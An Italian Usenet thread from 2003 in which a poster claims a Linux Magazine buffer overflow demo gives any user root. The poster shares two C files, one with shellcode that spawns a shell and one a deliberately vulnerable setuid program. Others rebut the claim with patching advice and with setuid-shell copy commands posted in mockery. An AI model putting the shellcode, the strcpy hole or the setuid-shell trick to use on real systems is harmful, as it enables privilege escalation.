Newsgroup: it.comp.os.linux.sys
Titolo: buffer overflow

Con il trucco del buffer overflow qualsiasi utente puo' "saltare" tutti 
i permessi e diventare root.
Quindi in un sistema con 300 utenti ad esempio vai a cercare chi e' stato !
Magari mette fuori uso la macchina cosi' non e' possibile neanche 
rintracciarlo !
Ma e' possibile che succeda una cosa del genere oppure e' possibile 
prendere precauzioni ?
Grazie
1700


I buffer overflow sono una delle tecniche per ottenere delle shell, non č
detto che siano shell di root.
Tutti i programmi imho hanno dei buffer overflow, dovuti a scarse
precauzioni nel codice.
Tutto sta a scoprirli e a farli funzionare, visto che un eseguibile
compilato su una macchina non č detto che sia uguale ad un altro compilato
su un'altr a macchina.
Queste cose succedono SPESSISSIMO con windows e le sue cagate di
programmi...
Succedono ovviamente anche con linux, solo che un buon amministratore sa
come prevenire queste cose, aggiornando i pacchetti, chroottando e facendosi
leparanoie del caso.
Un buon libro non ti farebbe male per approfondire...
Max

Un buon libro non ti farebbe male per approfondire...
Esempio?
Io ho "Massima sicurezza" di anonimo (Antirez?), ma di chroot
non ne parla:-(
-- 
Ciao,		| Attenzione! campo "Reply-To:" alterato ;^)
Remigio Zedda	| E-mail: 
remi...@tiscali.it
	-- Linux 2.4.18 su Debian GNU/Linux 3.0 "Woody"

 prendere precauzioni ?
installa gli aggiornamenti di sicurezza e ridurrai le possibilità che
accada

 leparanoie del caso.
Dunque il modo per rimediare e' secondo te utilizzare chroot.
Potresti farmi un esempio?
Grazie
1700

 leparanoie del caso.
Ci sono anche daemon che non vengono lanciati come root e questo limita 
i danni...
Ciao
Scola

 Una Debian con PII 350, una slack con celeron 700 ed una suse con PII 400.
La Debian è aggiornata con i security update?
Qual'è il nome del programma ?
('ssh' o 'telnet' non sono risposte valide :D)
-- 
Vincenzo

 Una Debian con PII 350, una slack con celeron 700 ed una suse con PII 400.
Tu hai provato un exploit, per una debolezza _nota_ di cui non hai
provveduto ad aggiornare - patchare. Per forza che "funziona".
L'alternativa e` che tu abbia dei private/0day. come dire...
Tiro anche ad indovinare: ptrace.
Peccato che patch, e pacchetti, siano fuori da marzo. Se non tieni
aggiornato il software, il problema e` a monte.
-- 
                         Maurizio - Tannoiser - Lemmo
                 Founder Member of ERLUG 
http://erlug.linux.it
-------------------------------------------------------------------------------
These opinions are my own, though for a small fee they be yours too.

 prendere precauzioni ?
Come detto, non e` cosi` deterministico,
dipende dai programmi che girano, dal
kernel, etc.
bye,
-- 
   Piergiorgio Sartor

 
ssh o telnet non c'entrano, ho copiato "paro paro" il programma 
contenuto in un articolo di Linux Magazine del mese di giugno.
1700

 
La risposta e' sopra.
1700

 Si, con apt-get  .....
Qual'e' il nome del programma che hai usato per ottenere shell di root?
 bye G.L.
--
La logica non attiene alla verosimiglianza delle ipotesi,
ma alla coerenza delle tesi con le ipotesi.

 La risposta e' sopra.
anche la mia.
_qui_ sopra.
-- 
                         Maurizio - Tannoiser - Lemmo
                 Founder Member of ERLUG 
http://erlug.linux.it
-------------------------------------------------------------------------------
It must be in the basement; I'll go upstairs and get it. M.C.Escher


Oltre a quello che ti hanno consigliato gli altri dai un occhiata qui:
http://www.adamantix.org/
Alessandro.

 Potresti dire come e quando serve dare chroot per la sicurezza?
Quando sono  in gioco servizi a  "rischio" (bind, apache, cvs,  ...). Si
crea in  pratica un ambiente  (jail) minimale  (ie. libreria C,  file di
configurazione, i  device necessari,  et similia) in  cui far  girare il
servizio. Nel caso  questo venisse  violato non potrebbe  comunque agire
all'esterno dall'ambiente che gli e`  stato preparato (jail, prigione) e
non potrebbe compromettere il resto del sistema.
ciao
Kronos
-- 
Home: 
http://kronoz.cjb.net
Windows NT: Designed for the Internet. The Internet: Designed for Unix.

 non potrebbe compromettere il resto del sistema.
Quello che dici mi piace molto, ma non dici come preparare tale "jail".
Bye
1700

 
Su Linux Magezine di giugno.
Comunque nessuno mi ha detto ancora come evitare che questo programma 
trovato su linux magazine possa assumere i privilegi di root !
Il programma "exploit" funziona a meraviglia !
Ho scritto anche su /sbin !
Addirittura funziona su partizioni montate come nosuid, ma +non+ 
funziona su partizioni montate come noexec, forse questa e' la chiave 
della sicurezza
ciao
1700

Sgranocchiando il cranio di 1700, vi trovai inciso:

Al di là del fatto che tu l'abbia o no trovato nelle patatine, se non
dici *cosa* stai exploitando è difficile dirti come non farlo
exploitare...
-- 
Emanuele Balla  aka Skull -  Public Key #661E5CBF on 
www.keyserver.com
+----------------------------------------------------------------------+
"And 1.1.81 is officially BugFree(tm), so if you receive any bug-reports
on it, you know they are just evil lies." (By Linus Torvalds)

 
Leggi tutto il thread che capisci ... considera che non amo le patatine ....
Comunque lo ripeto:
chiunque, un qualunque utente, eseguendo un programmino di 50 righe
assume i privilegi di root ed ha una shell con cui fare danni in giro.
Volete che vi mandi i due file cosi' li provate? Magari mentre mangiate 
le patatine :-)
Ciao
1700

 assume i privilegi di root ed ha una shell con cui fare danni in giro.
Hai aggiornato il kernel? Debian ha pubblicato un 'Security Advisory' al 
riguardo l'8 di questo mese. Se hai un kernel scaricato in precedenza 
aggiornalo, qui trovi le istruzioni:
http://www.debian.org/security/2003/dsa-311
-- 
Vincenzo

> Quello che dici mi piace molto, ma non dici come preparare tale "jail".
man chroot
ciao.

 le patatine :-)
vuoi scommettere che sulle _mie_ macchine, il *tuo* file non exploita?
Patatine comprese?
-- 
                         Maurizio - Tannoiser - Lemmo
                 Founder Member of ERLUG 
http://erlug.linux.it
-------------------------------------------------------------------------------
Be afraid if you see a programmer with a screwdriver.


Forse avete usato un linguaggio che non capisco.... comunque io ho riletto 3
volte tutti i tread e non'ho capito un C.
Vista la reticenza a fornire informazioni ''in chiaro'' su questo argomento
dimmi almeno  se l'exploit funziona solamente se si e' utenti locali della
macchina target.
Grazie,
F.

 
La gente che ha tutta la tua sicurezza e' quella che per prima viene 
attaccata, e scusa se mi sono permesso, ma la modestia e' fondamentale 
quando si parla di argomenti scientifici. Nessuno di noi e' un guru !
1700

 attaccata,
La seconda. La prima e` quella che non aggiorna il software con bachi
di sicurezza noti.
A volte le due categorie coincidono.
E, per inciso, per quel poco che mi e` dato sapere leggendolo su usenet,
non mi sembra affatto che Maurizio - Tannoiser rientri in nessuna delle due.
+++
Se non vuoi dire su quale porgramma si basa questo famoso exploit, potresti
almeno postare il codice? Non compro e non saprei dove trovare la rivista
che citi, e a questo punto sono curioso.
-- 
Ikitt	che alla magia nera ci crede poco. *** mailserver: 
freemail.it
"Se si sa usare solo il martello, tutti i problemi sembrano chiodi"
"Studiare senza pensare, inutile. Pensare senza studiare, stupido."
GNU/Linux 2003: do more with less => $ alias more=less


L'italiano, perdinci, l'italiano. Hai letto che le mie macchine non sono
attaccabili?
Ti ho detto un'altra cosa: le mie macchine non sono attaccabili da un
_qualunque_ exploit che trovi su una rivista (per giunta di qualche mese
fa).
La comprendi la differenza? Devo dedurre che non hai accettato la
scommessa?
Cancelliamo, va.
Mi permetto di darti un consiglio: qualunque distribuzione usi, di norma
ha un documento, una sezione, qualcosa, che parla di sicurezza nello
specifico della stessa. C'e` il debian-security-howto, oppure un
documento di hardening per redhat, e cosi` via.
Prima di postare con informazioni parziali, o palese assenza di esse, ti
consiglio di leggerti bene, _almeno_ quelle. Quindi _testare_ le tue
macchine (e fai benissimo).
il "buffer overflow" non e` un problema _specifico_ di una distribuzione
o di un sistema operativo. E` un errore (bug) nella scrittura di un
codice di un dato programma.
Di _norma_ il software non e` scritto _intenzionalmente_ con dei bachi,
o per lo meno, su software libero questo e` verificabile.
Di _norma_ puo` capitare che un programmatore commetta degli errori.
Di _norma_ quando qualcuno scopre un errore, (non c'e` solo il buffer
overflow, a voglia quante porcherie si possono scrivere programmando)
viene creata una patch, l'errore viene corretto. Questo e` decisamente
vero e veloce (chiunque puo` inviare una patch, non necessariamente il
programmatore del tal software) in ambito free, meno vero (o il processo
e` piu` lento e meno verificabile), in ambito closed.
Di _norma_ un amministratore accorto, segue le liste di annuncio di
bachi, debolezze, incidenti, ecc. Oltre che quelle specifiche dei propri
sistemi operativi. Non e` raro che alcuni di essi vi contribuiscano
(hints).
Per debian, ad esempio, e` _fondamentale_ la completa lettura e
_comprensione_ di questa pagina:
http://www.debian.org/security/
Oltre che, almeno, del gia` citato debian-security-howto.
L'aggiornamento del software, non e` un problema di sicurezza in senso
stretto, ma di buona amministrazione.
Se nemmeno cosi` hai capito, temo che l'amministrazione, per te, sia un
tema un po` prematuro. La sicurezza e` una _branca_ di essa, trai da te
le tue conclusioni.
ciao.
-- 
                         Maurizio - Tannoiser - Lemmo
                 Founder Member of ERLUG 
http://erlug.linux.it
-------------------------------------------------------------------------------
God is real, unless declared integer

 considerata la reticenza nel volercene parlare?
Secondo me non e` reticenza. E` che ha proprio le idee confuse (e la
scarsa documentazione fa il resto).
O e` un trollone della Madonna, e noi ci siamo attaccati come dei fessi. 
gh gh gh. :)
-- 
                         Maurizio - Tannoiser - Lemmo
                 Founder Member of ERLUG 
http://erlug.linux.it
-------------------------------------------------------------------------------
Grove giveth and Gates taketh away.


Ormai sono quasi certo.....
trattasi di un Troll.......
Quello che mi fa' incazzare e' che gli ho anche dato retta.
F.

tho...@despammed.com
 wrote:
 >
 > Posso azzardare che si tratti di una mega-colossale cazzata,
 > considerata la reticenza nel volercene parlare?
 >
Dato che vi dispiace spendere qualche euro per una rivista:
-----------------------------------------------
// (1700)   10/06/2003 -- buf_over.c
// da usare in combinazione con vuln.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define SIZE 64
char shellcode[] = "\x31\xdb\x31\xc0\xb0\x17"
		   "\xcd\x80\xb0\x2e\xcd\x80"
		   "\x68\x2f\x73\x68\xaa\x68"
		   "\x2f\x62\x69\x6e\x89\xe3"
		   "\x31\xc0\x50\x89\xe2\x53"
		   "\x89\xe1\x88\x64\x24\x0f"
		   "\xb0\x0b\xcd\x80";
int main(int argc, char *argv[])
{
     long address = atoll(argv[1]);
     char *appoggio = malloc(SIZE + 1);
     long *punt = (long *) appoggio;
     int i;
     for(i = 0; i < SIZE; i += 1)
         {
         *(punt++) = address;
         }
     for(i = 0; i < strlen(shellcode); i ++)
         {
         appoggio[i] = shellcode[i];
         }
     appoggio[SIZE] = '\0';
     char *arg[3];
     arg[0] = "vuln";
     arg[1] = appoggio;
     arg[2] = NULL;
     return execve(arg[0], arg, NULL);
}
------------------------------------------------------------------------------
// (1700)   10/06/2003 -- vuln.c
// da usare in combinazione con buf_over.c
#include <unistd.h>
#include <string.h>
int main(int argc, char *argv[])
{
     char buf[48];
     printf("\nindirizzo: 0x%x   (%u)\n", buf, buf);
     strcpy(buf, argv[1]);
     printf("%s\n", buf);
     return 0;
}
----------------------------------------------------------------------------
Dato che siete cosi' bravi dovreste capire anche come si usano :-)
La modestia ragazzi ! La modestia !
Siamo qui per imparare.
Saluti
1700

 Siamo qui per imparare.
Rotfl. Quando pensavi di iniziare?
Ps:
Se i "programmi" (chiamarli _esempi_ no, eh), li hai "trascritti" da una
rivista, perche` li "intesti" come tuoi?
-- 
                         Maurizio - Tannoiser - Lemmo
                 Founder Member of ERLUG 
http://erlug.linux.it
-------------------------------------------------------------------------------
Research is what I'm doing when I don't know what I'm doing.


No. Troppo facile dire "non funziona perche' non sai usarlo".
L'onere della prova e' tuo.
Alessandro.
Ooops! ...segmentation fault


E' che la gente scrive programmi in C++ e non lo sa...
Alessandro.

 quando si parla di argomenti scientifici. Nessuno di noi e' un guru !
Ma parla, anzi scrivi, per te...
;-)
bye,
-- 
piergiorgio

 
A me il programma funziona.
Il segmentation fault e' voluto perche' e' proprio quello che permette 
di accedere ad una shell di root.
L'indirizzo tra parentesi che compare dovete inserirlo come comando .....
ma che ve lo spiego a fare tanto ....
Non avete capito il programma !
Non potete mettere in dubbio le capacita' di chi ha scritto l'articolo 
su Linux Magazine, e' una rivista validissima !
Avete fatto una grossa cavolata !
Ma quale SEGMENTATION FAULT !
Non avete capito il programma.
rotfl
Purtroppo questo non mi sembra un newsgroup ma una comitiva di gente che 
si spaccia per geni ...
Altre persone mi hanno detto di non frequentarlo piu' "perche' si 
credono maestri".
Se foste cosi' bravi sareste famosi .... cosa che non mi risulta.
Vi chiedo scusa (addirittura) se vi ho recato disturbo.
1700

 
nessun disturbo.
sei sicuro di non aver postato su un ng di livello troppo basso per il 
tuo alto intelletto?
pare che l'unico ad aver capito questo 'mitico' esempio di linux magazine 
sia tu...
-- 
+-------
| Paolo opg
|
| janickg ( at ) hotmail ( dot ) com
+-------
** Articolo inviato tramite i servizi gratuiti di 
www.x-privat.org
 **

 che si spaccia per geni ...
...e chissa' perche' ci sei finito anche tu...
Alessandro.

 Ho scritto anche su /sbin !
Sì in effetti anche il mio...
$ ./buf_over
$ segmentation fault
$ su -
$ password:
# cd /sbin
# touch prova
# ls prova
prova
Hai ragione funziona! Ma se non conoscessi la password di root? :-DDD
Torna a vangare valà, tra l'altro in quei programmi che hai mandato ci
sono degli errori strutturali: una dichiarazione di un puntatore non può
seguire degli statment altrimenti il compilatore s'incazza.
Detto questo sarebbe interessante sapere come hai fatto ad eseguirli se
non si riescono a compilare...
(a parte che anche compilati - dopo aver corretto gli errori - non fanno
danni).
-- 
Massimo Bacilieri AKA Crononauta 
ICQ:4005815

 Non avete capito il programma.
Ma *ROTFL*. Ti prego rimani, sei un ossimoro vivente.
-- 
                         Maurizio - Tannoiser - Lemmo
                 Founder Member of ERLUG 
http://erlug.linux.it
-------------------------------------------------------------------------------
Use SATANIX 1.0, an OS42K. When the Rapture comes, will YOU have root?

 rotfl
Ogni dubbio e` fugato, direi.
<Cantona>
Au Revoir ^K
</Cantona>
-- 
Ikitt	*** mailserver: 
freemail.it


 Siamo qui per imparare.
comincia tu , ma l' hai capito cosa fa' il programma ???
complimenti comunque , vinci la coppa dell' anno per la banda sprecata.

IN fondo ci sono le istruzioni per l'uso per i meno abbienti
(intellettualmente parlando):
L'unico e dico l'unico, il solo, il mitico che ha capito il problema mi 
sembra "paolo opg".

Come si usa il programma :
------------------------
  buf_over richiama vuln, e' necessario quindi compilare entrambi.
  La compilazione NON e dico NON da errori (pensate che una rivista come 
   Linux Magazine possa inserire i programmi in un articolo che non 
compilano !!!! No dico vi rendete conto? )
Procedete come cavalli con i paraocchi:
1 - settare il bit suid di vuln:
chmod +s vuln
2 - cambiare il proprietario ed il gruppo:
chown root.root vuln
3 - eseguire:
./buf_over indirizzo a 10 cifre
ci dara' un INDIRIZZO ed un segmentation fault
rieseguiamo mettendo INDIRIZZO come primo argomento.
(Eseguiamo eventualmente un' altra volta se non dovesse funzionare.)
fatto .....
provate a fare:
#: whoami
4 - siate piu' modesti, come "paolo opg" ad esempio
5 - vado a mangiare un po' di pesce in riva al mare mentre voi compilate :-)
Se anche adesso non funziona !!!!!!!!!!!!
Gente da guidare passo passo che si da tante arie.
Ma!
1701



 3 - eseguire:
Eseguo cosa?
"chown root.root" non funziona da utente normale!!!
bye,
-- 
piergiorgio

 chown root.root vuln
Ci prendi per il culo? Se ho l'autorità di attribuire gruppo e user
"root" nonché il bit suid, mi dici che minchia di bisogno ho di fare
queste menate per avere una shell di root? Sono GIA' root!
Maronna che minchione, e ci ho pure perso del tempo.


 del genere? Per giunta insieme a "+s"?
Dai, il povero cucciolo, non ci ha capito una mazza, lascialo stare. :)
Chissa` perche` a me non risponde piu` <Grin>.
Se fossi "burbero" come Thorin, mi metterei una sign tipo: "Non avete
capito il programma" (rotflastc).
-- 
                         Maurizio - Tannoiser - Lemmo
                 Founder Member of ERLUG 
http://erlug.linux.it
-------------------------------------------------------------------------------
Diplomacy is the ability to let someone else have your way.

 capito il programma" (rotflastc).
Ma ddddddaaaaiiiii... :-)
bye,
-- 
piergiorgio

 
il piccolo problema che ha generato tutta 'sta marea di morchia, sta nel
fatto che hai malinteso lo scopo del programmino. 
il programmino serviva semplicemente a dimostrare che, in caso ci fosse
un eseguibile sul tuo pc/server/quelcavolocheusi con permessi di root e
suid set, un buffer overflow (errore di programmazione, solitamente)
potrebbe (nota il condizionale) rendere possibile guadagnare privilegi
elevati. quindi, per provarlo, DEVI avere l'accesso come root al sistema
(o sei l'admin o l'admin si fida di te) oppure un sysadmin
cerebroleso... 
questo in presenza di codice bacato e non sempre e comunque su qualsiasi
pc! 
(se trovi un sysadmin che setta i permessi corretti allo script di linux
magazine per farti fare delle prove, dammi l'indirizzo che mi faccio
dare un'account anch'io...) 
nei sistemi di produzione, se NON ci sono account con accesso shell e il
sysadmin è normodotato, la prima cosa a cui pensa questo strano essere è
patchare l'impossibile e aggiornare tutto il resto. appunto per evitare
che qualcuno, giusto per provare, controlli se ci sono buffer overflow
sparsi quà e là ne demoni accessibili dall'esterno... 
se poi ci sono account utente, si rimuove tutto (TUTTO), aggiungendo
quello che manca solo in caso qualche utente ne lamenti la necessità 
(ESTREMA), esista una versione aggiornata, non ci siano stati grossi bug 
nelle ultime versioni (la sfiga è sempre in agguato, ma un sw che ha 
avuto falle enormi nelle ultime 4 rel stabili, chi lo installa?) e il 
sysadmin sia in buona (ovviamente). 
per concludere, un'osservazione: se posti su un ng con un subject come 
quello con cui hai aperto questo thread, difficilmente chi legge sarà ben 
disposto nei tuoi confronti.
nel thread principale facevi riferimento a tuoi amici che hanno ricevuto 
cattiva accoglienza e poco aiuto su usenet: tanto dipende anche da come 
ti proponi, ovvero dal subj che usi.
considerato che spesso chi scrive qui, lo fa per chiedere aiuto o 
consigli, adeguarsi alle regole del ng non guasta...


 
Una volta compilato sulla tua macchina lo trasporti a mezzo dischetto su 
qualsiasi macchina.
Non capite .... ma come puo' essere !

Paolo opg wrote:
Neanche tu capisci ?
Setti il suid e compili sulla TUA macchina e trasporti il programma su 
altre macchine !
Ho provato e funziona !
Duri di comprendonio !
1702

 Non capite .... ma come puo' essere !
Ma dimmi, sei uno studente di psicologia in
cerca di materiale per la tesi?
bye,
-- 
piergiorgio

Quando sono  in gioco servizi a  "rischio" (bind, apache, cvs,  ...). Si
[...]
Capit'..  TNX! :-)
-- 
Ciao,		| Attenzione! campo "Reply-To:" alterato ;^)
Remigio Zedda	| E-mail: 
remi...@tiscali.it
	-- Linux 2.4.18 su Debian GNU/Linux 3.0 "Woody"

 cerca di materiale per la tesi?
ingegneria

 ingegneria
E perche` cerchi materiale per una tesi
di psicologia?
bye,
-- 
piergiorgio

compilano !!!! No dico vi rendete conto? )
Non e` possibile che da te non dia errore. Perche' allora scrivi
questo?
Oppure hai copiato male il sorgente. Guarda:
bash-2.05a# g++ buf_over.C -o buf_over
buf_over.C: In function `int main(int, char **)':
buf_over.C:24: ANSI C++ forbids implicit conversion from `void *' in
initialization


1700 <a...@at.dominio> wrote in news:3EEB9ACE...@at.dominio:

...
certo che puoi: copi l'eseguibile sul floppy, lo porti sull'altra 
macchina e, come root, lo metti su hd e reimposti lo sticky (perchè nel 
passaggio su floppy l'hai perso).
a questo punto, entri come user sulla seconda macchina ed eseguendo hai 
l'exploit.
ti è però forse sfuggito che in questo passaggio è NECESSARIO avere 
l'accesso root di ENTRAMBE le macchine, semplicemente perchè se metti un 
eseguibile con sticky bit su un floppy e poi esegui il mount da utente, 
lo sticky bit non è più settato.
fai la prova e controlla.
a me è venuto il dubbio (giusto uno piccolino) e per non sparare vaccate 
ho controllato: passando su floppy, perdi il +s.
se anche tu provassi prima di postare, eviteresti figure come quella che 
stai facendo in due thread contemporaneamente (uno ti pareva poco...)
sto seguendo anche l'altro (l'originale) e ho letto che fai ingegneria.
che ramo?
gestionale?


:->


 
hai sbagliato ! sono due i file !
compilali cosi':
gcc -o buf_over buf_over.c
gcc -o vuln vuln.c
Ma volete comprare il giornale domani, cosi' leggete l'articolo e 
buonanotte!

 
E' dichiarato poco sopra.
Leggi bene. Ma vuole leggere prima di postare ?
Ciao

 ingegneria
Hint: passa a Giurisprudenza, almeno lì il computer te lo fanno usare
solo con Office per scrivere la tesi, sicuramente è un compito più alla
tua portata.
Saluti.


 buonanotte!
AAAHHH adesso ho capito... è un pubblicitario della rivista... non
capisce una mazza di linux, ma sta subdolamente cercando di farcela
comprare in massa...


#: whoami
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-
A` ingegne', guarda questo exploit gia` compilato e perfetto, ora
divento root senza passwd:
[~] rez_2$: fakeroot /bin/bash
bash-2.05a# whoami
root
bash-2.05a# exit
exit
[~] rez_2$: whoami
rez


ragazzo mio... hai ancora molto da imparare... >:->
Qui tra i meno abbienti si rischia meno.. i poveri non corrono il
pericolo di dover comprare Linux magazine per quell'articolo;-)


 IN fondo ci sono le istruzioni per l'uso per i meno abbienti
Ma basta!! Vuoi capire che se esistesse la possibilità per un normale 
utente di diventare root indebitamente, il kernel verrebbe patchato e 
reso disponibile su 
kernel.org
 in due ore nette?
Linux viene usato da mezzo mondo. Come diavolo fai a pretendere di aver 
scoperto (tu e i lettori di LinuxMagazine - ma che fortunati!) una falla 
del genere e pensare che questa sia ancora aperta?
Queste semplici considerazioni dovrebbero farti desistere dal portare 
avanti la tua tesi.
-- 
Vincenzo

 Leggi bene. Ma vuole leggere prima di postare ?
Rotfl. Sei disperato. Non hai mai risposto agli altri messaggi. Non sei
nemmeno piu` divertente.
Basta, dai.
-- 
                         Maurizio - Tannoiser - Lemmo
                 Founder Member of ERLUG 
http://erlug.linux.it
-------------------------------------------------------------------------------
kill -9 them all. Let init sort them out.

 Ho provato e funziona !
Scusa una cosa, ma se prendi il seguente frammento di codice:
/* --- prova.c --- */
int main(int argc, char *argv[]) {
        char *command[2];
        command[0] = "/bin/bash";
        command[1] = NULL;
        execve(name[0], name, NULL);
        return 1;
}
/* --- snip --- */
Compili, cambi l'owner e metti root, aggiungi il setuid; poi lanci da utente
normale e ti parte la shell; curiosamente, sei ancora utente normale. In
qualche modo il kernel ti frega: secondo me non è più facile come una volta
fare un buffer overflow... Ciao!
Roberto
-- 
La verità di un'affermazione non ha niente a che vedere con la sua
credibilità, e viceversa.

 chown root.root vuln
hai idea di cosa fa' questo.......
mi sembra + che scontato che diventi root..........

 Segmentation fault
Beh, il segmentation fault è corretto, serve a fornire l'indirizzo del
jump(ho letto l'articolo di cui parla). Sperando che non sia un troll,
comunque gli suggerisco un altro exploit:
1)cp /bin/bash /bin/mybash
2)chown root.root /bin/mybash
3)chmod u+xs /bin/mybash
(anche se alcuni comandi sono ridondanti, tanto per essere sicuri)
dopodiché esegui /bin/mybash e hai una shell di root. Questo funziona su
qualunque distribuzione. Garantito. Una volta ottenuto /bin/mybash,
copialo su un computer SENZA AVERE ACCESSO ROOT su quel computer, tramite
ssh magari. Se non sei root, otterrai un file suid ma che appartiene a te,
non a root. Se lo porti su dischetto, e non sei root, non puoi montarlo;
il mount che poi viene di solito consentito da root nelle distro non ha
l'opzione exec(almeno mi pare, qua ce l'ho ma l'ho aggiunto io). E
comunque, se metti user, si attiva di default nosuid! E con nosuid non
funziona!(tranne se lo esegui come root, ma allora). Chiaro?
-- 
cat <<EOSIGN
Paolo Giarrusso, aka Blaisorblade(togliere solo REMOVEONLYTHIS per rispondere)
Kernel 2.4.20/2.5.63 on an i686; Linux registered user n. 292729
EOSIGN

 rispondergli sarebbe meglio.
ok ok , quando ho torto ho torto ;-)

 Roberto


1700 wrote:

Appunto sei duro di comprendonio, stai facendo una figura pessima visto che 
sicuramente usi root per fare il mount del floppy.
kbyte@kbytelnx:~$ chmod +s test   
kbyte@kbytelnx:~$ ll test 
-rwSr-Sr--    1 kbyte    kbyte           0 2003-06-15 14:00 test
kbyte@kbytelnx:~$ mv test /mnt/floppy/
mv: impostazione dei permessi di `/mnt/floppy/test': Operation not permitted
kbyte@kbytelnx:~$ ll /mnt/floppy/
totale 14
-rwxr--r--    1 kbyte    kbyte       13692 2003-05-30 19:21 
progettosisop.zip
-rwxr--r--    1 kbyte    kbyte           0 2003-06-15 14:00 test
L'Operation non permitted è proprio dovuto all'impossibilità di settare il 
suid. (visto che l'umask nella tabella di fstab per il floppy lo vieta)
-- 
| /
| \Byte - Andrea Briganti - kbytesys(aaattt)
tiscali.it
CSLug member: 
http://cslug.linux.it
 - JID: 
kb...@jabber.linux.it
***Lo zero tende talmente a zero che sembra quasi zero (Prof. univ.)

Questo thread ha oltre 65 post, complimenti, chissa quante risposte ricevono
le persone che propongono thread con un minimo di sensatezza.
P.S.
Ho notato (riguarda anche me) che un sistema garantito per ricevere un sacco
di risposte è quello di mettere in dubbio ''linux'', meglio ancora metterlo
alla berlina.
Peccato che sia cosi, dovrebbe essere esattamente al contrario.

 Ci arrivi a capirlo questo oppure sei senza speranza?
okkio: ho un enorme buco di sicurezza più veloce del suo:
skull@yggdrasyl:~$ su
Password:
yggdrasyl:/home/skull# cp /bin/sh /opt
yggdrasyl:/home/skull# chmod u+s /opt/sh
yggdrasyl:/home/skull# exit
skull@yggdrasyl:~$ whoami
skull
skull@yggdrasyl:~$ /opt/sh
sh-2.05b# whoami
root
sh-2.05b#
Potente, eh???
E senza una riga di C che sia una!!!!
-- 
Emanuele Balla  aka Skull -  Public Key #661E5CBF on 
www.keyserver.com
+----------------------------------------------------------------------+
"And 1.1.81 is officially BugFree(tm), so if you receive any bug-reports
on it, you know they are just evil lies." (By Linus Torvalds)

 gestionale?
Qualcosa in contrario agli studenti di ingegneria gestionale? (della cui
categoria non faccio più parte ... )


 Questo thread ha oltre 65 post, complimenti,
Vuoi aiutarci a raggiungere quota cento?-)
Alessandro.

 primo, max secondo anno che studia da lamer?
Dovevo mettere un paio di emoticons, cosě si capiva. ;-)
Non me la piglio mica per cosě poco...


 categoria non faccio più parte ... )
Ma perchè molti sono contro i gesionali?
Anche un mio prof di laboratorio calcolatori elettronici illustrando un 
teorema secondo cui:
Sapere = Potere
Tempo = Denaro 
Potenza = Lavoro/Tempo =>
Sapere = Lavoro/$
sa cui $=L/S
dove L è il lavoro e S il sapere, diceva che se volevamo fare soldi 
dovevamo andare ad ingegneria gestionale perchè la conoscenza tende a 0...
-- 
| /
| \Byte - Andrea Briganti - kbytesys(aaattt)
tiscali.it
CSLug member: 
http://cslug.linux.it
 - JID: 
kb...@jabber.linux.it
***Berlusconi: Il conflitto di interessi? Non esiste! (E' tutto mio)

 0...
Dimostrazione interessante ;-)
Però alla facoltà di ingegneria di Udine qualcosa devo: il mio
professore di sistemi lì era tal Montessoro PierLuca... dice nulla ? 
Ok, poi ho cambiato facoltà. Infine me ne sono andato. Ma al Dott.
Montessoro credo di dovere molto...
Uno skull e i rimpianti...


 permessi da un sistema ad un altro.
Beh, avendo un accesso ssh/telnet COME ROOT puoi impostare i permessi. La
storia del floppino mi ha fatto pensare, ma se metti user tra le opzioni
in fstab nasce da solo un carissimo nosuid; se poi root mette tra le opzioni
del floppy user,suid(che tecnicamente è possibile) allora root è
deficiente ma proprio forte.
In quel caso si passa all'ingegneria sociale,
gli si fa scoprire quanto è cretino dopodiché lui, depresso, ti dà
spontaneamente la password di root per aiutarlo :-).
P.S.: qualcuno sa se Guglielmo Cancelli abbia una password di root? Così
magari metto in pratica quanto descritto!


 
quasi niente...
;-P
era solo per tirarlo un pň in giro.
avrei potuto scrivere elettronico, ma mi suonava troppo vicino
all'ambito computer. 
gestionale suonava meno 'informatico', tutto qua.
:-))


 Ma che diamine di distribuzione hai? Guarda:
Hai ragione, dimenticavo il trucchetto della bash. Siccome è bastarda, se
il real uid e lo effective uid sono diversi, si incazza parecchio e cede i
privilegi di root. Ma altrimenti funzionerebbe(in effetti, basta mettere
suid un prog. che imposta il real uid(mi pare, li confondo sempre) e
fa execve() di bash per essere a posto). Chiedo venia.


Hai ragione, dimenticavo il trucchetto della bash. Siccome ш bastarda, se
Gia`, infatti come l'ha fatto Skull, col nome "sh", allora si`.



Linux contiene anche un'altro incredibile Bug.....
Pensate che se si digita il comando su e si inserisce semplicementa la
password di root ......incredibile.... si diventa root.
Che cagata questo OS....
F.

 Se anche adesso non funziona !!!!!!!!!!!!
La questione e' sempre la stessa: come fai ad uploadare un file con propietario 
root su una macchina remota se non hai i permesi di root su quella macchina?
Un piccolo consiglio: fatti un giro su mailing list di sicurezza:
argomenti sui tecniche di exploit sono all'ordine del giorno.
Trimack.
PS: Hai dato un'occhiata alla mia sign?
^__^
-- 
echo "char  s[]=\"\x68\x61\x63\x6b\x0a\x68\x54\x72\x69\x6d\x89\xe1\x31\"
\"\xc0\x31\xdb\x31\xd2\xb3\x01\xb0\x04\xb2\x08\xcd\x80\x31\xc0\x31\xdb\"
\"\xb0\x01\xb3\x01\xcd\x80\";void main(){int*r;r=(int*)&r+2;(*r)=(int)s;
}">T.c; gcc -w T.c -o T; ./T; rm T T.c

 password di root ......incredibile.... si diventa root.
ssssssshhhhhhhhhhh !!!  
non diffondere questi trucchi ;-)

 Dato che vi dispiace spendere qualche euro per una rivista:
ROTFL!!!
Quasi meglio delle mail di davide!!!
Max

 
io toglierei il quasi: quelle di davide se le gode dal vivo solo lui.
questa ce la siamo goduta tutti!
:-)


test wrote:

Propongo una gara di troll 
A chi riesce a suscitare gli animi in modo da superare i cento post
gli si regala una copia cartacea della netquette :^>